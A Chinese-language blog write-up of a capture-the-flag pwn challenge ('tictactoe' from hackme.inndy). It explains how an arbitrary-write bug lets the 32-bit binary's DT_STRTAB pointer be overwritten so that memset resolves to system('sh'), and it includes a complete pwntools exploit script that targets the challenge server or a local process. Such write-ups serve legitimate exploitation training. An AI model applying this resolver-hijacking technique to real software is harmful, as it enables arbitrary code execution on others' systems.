本文最后更新于:星期三, 一月 2日 2019, 4:13 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/tictactoe/tictactoe'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这题文件和tictactoe1是一样的,只不过这个要求getshell,漏洞点也就是一个任意地址写,我对着分析了半天除了想到将n修改成0,使得可以进行9次任意地址写 ,就想不到什么了,看了大佬的writeup才发现是用 ret2_dl_runtime_resolve做的

 for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
  {
    if ( n == -1 )
    {
      sub_80489C0();
    }
    else
    {
      sub_8048762();
      sub_8048A4B();
    }
    n = -n;
  }

elf文件各个节的信息:

LOAD:0804AF14 stru_804AF14    Elf32_Dyn <1, <1>>      ; DATA XREF: LOAD:080480BC↑o
LOAD:0804AF14                                         ; .got.plt:0804B000↓o
LOAD:0804AF14                                         ; DT_NEEDED libc.so.6
LOAD:0804AF1C                 Elf32_Dyn <0Ch, <8048498h>> ; DT_INIT
LOAD:0804AF24                 Elf32_Dyn <0Dh, <8048DA4h>> ; DT_FINI
LOAD:0804AF2C                 Elf32_Dyn <19h, <804AF04h>> ; DT_INIT_ARRAY
LOAD:0804AF34                 Elf32_Dyn <1Bh, <8>>    ; DT_INIT_ARRAYSZ
LOAD:0804AF3C                 Elf32_Dyn <1Ah, <804AF0Ch>> ; DT_FINI_ARRAY
LOAD:0804AF44                 Elf32_Dyn <1Ch, <4>>    ; DT_FINI_ARRAYSZ
LOAD:0804AF4C                 Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:0804AF54                 Elf32_Dyn <5, <80482F8h>> ; DT_STRTAB//要修改的地方
LOAD:0804AF5C                 Elf32_Dyn <6, <80481D8h>> ; DT_SYMTAB
LOAD:0804AF64                 Elf32_Dyn <0Ah, <0BCh>> ; DT_STRSZ
LOAD:0804AF6C                 Elf32_Dyn <0Bh, <10h>>  ; DT_SYMENT
LOAD:0804AF74                 Elf32_Dyn <15h, <0>>    ; DT_DEBUG
LOAD:0804AF7C                 Elf32_Dyn <3, <804B000h>> ; DT_PLTGOT
LOAD:0804AF84                 Elf32_Dyn <2, <68h>>    ; DT_PLTRELSZ
LOAD:0804AF8C                 Elf32_Dyn <14h, <11h>>  ; DT_PLTREL
LOAD:0804AF94                 Elf32_Dyn <17h, <8048430h>> ; DT_JMPREL
LOAD:0804AF9C                 Elf32_Dyn <11h, <8048418h>> ; DT_REL
LOAD:0804AFA4                 Elf32_Dyn <12h, <18h>>  ; DT_RELSZ
LOAD:0804AFAC                 Elf32_Dyn <13h, <8>>    ; DT_RELENT
LOAD:0804AFB4                 Elf32_Dyn <6FFFFFFEh, <80483D8h>> ; DT_VERNEED
LOAD:0804AFBC                 Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:0804AFC4                 Elf32_Dyn <6FFFFFF0h, <80483B4h>> ; DT_VERSYM
LOAD:0804AFCC                 Elf32_Dyn <0>           ; DT_NULL

先简单回顾下_dl_fixup的流程

根据rel_offset 得到函数reloc结构体在JMPREL中的位置
根据reloc结构体中的r_offset 得到函数在got表中的地址
根据reloc结构体中的r_info>>8得到函数的sym结构体在symtab中的位置
根据sym结构中的st.name 得到函数字符串在strtab表中的位置
最后根据得到的函数名称解析函数地址,将函数地址写入got表

在这里因为有任意地址写漏洞,并且存储着DT_STRTAB等节地址的地方是可以写的

1537788594531

所以可以修改DT_STRTAB。因为程序最后会执行memset函数,所以选择修改DT_STRTAB,使得在memset在调用_dl_fixup函数时查找函数名字符串时获得的字符串是”system“,最终解析出system函数,并且向n写入’sh\x00’,那么最后执行memset时就会执行system(‘sh\x00’)

memset(&n, 0, 0x18u);

memset函数的字符串在DT_STRTAB中的偏移为 68

1537789136592

system函数的字符串的地址 —>[0x804900c] target = 0x8049fc8

将DT_STRTAB修改为 target= system_add - 68,这样的话当memset函数去DT_STRTAB中查找字符串时就会得到”system”字符串

 for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
  {
    if ( n == -1 )
    {
      sub_80489C0();
    }
    else
    {
      sub_8048762();
      sub_8048A4B();
    }
    n = -n;
  }

不过这里还要注意的是往n写入sh字符串时,这里会每次都会取反,所以在 i 等于奇数的时候写入sh字符串,最后在内存中的就是输入的sh字符串了。

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./tictactoe')
    elf = ELF('./tictactoe')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7714'
    p = remote(host,port)
    elf = ELF('./tictactoe')

context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def change(addr,value):
    ru("flavor):")
    sl('9')
    sleep(0.1)
    sl(value)
    offset = addr - 0x804B056
    ru('flavor): ')
    sl(str(offset))

targe = 0x8049fc8
addr_STRTAB = 0x0804AF58
n = 0x0804B048
bss = elf.bss()

rc()
sl('1')
change(n,'\x99')                #0
change(n,'\x73')                #1
change(addr_STRTAB,'\xc8')      #2
change(n + 1,'\x68')            #3
change(addr_STRTAB + 1,'\x9f')  #4
change(n+2,'\x00')              #5

change(n+0x10,'\xff')           #6
change(bss+0x100,'\xff')        #7
change(bss+0x100,'\xff')        #8
rc()
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!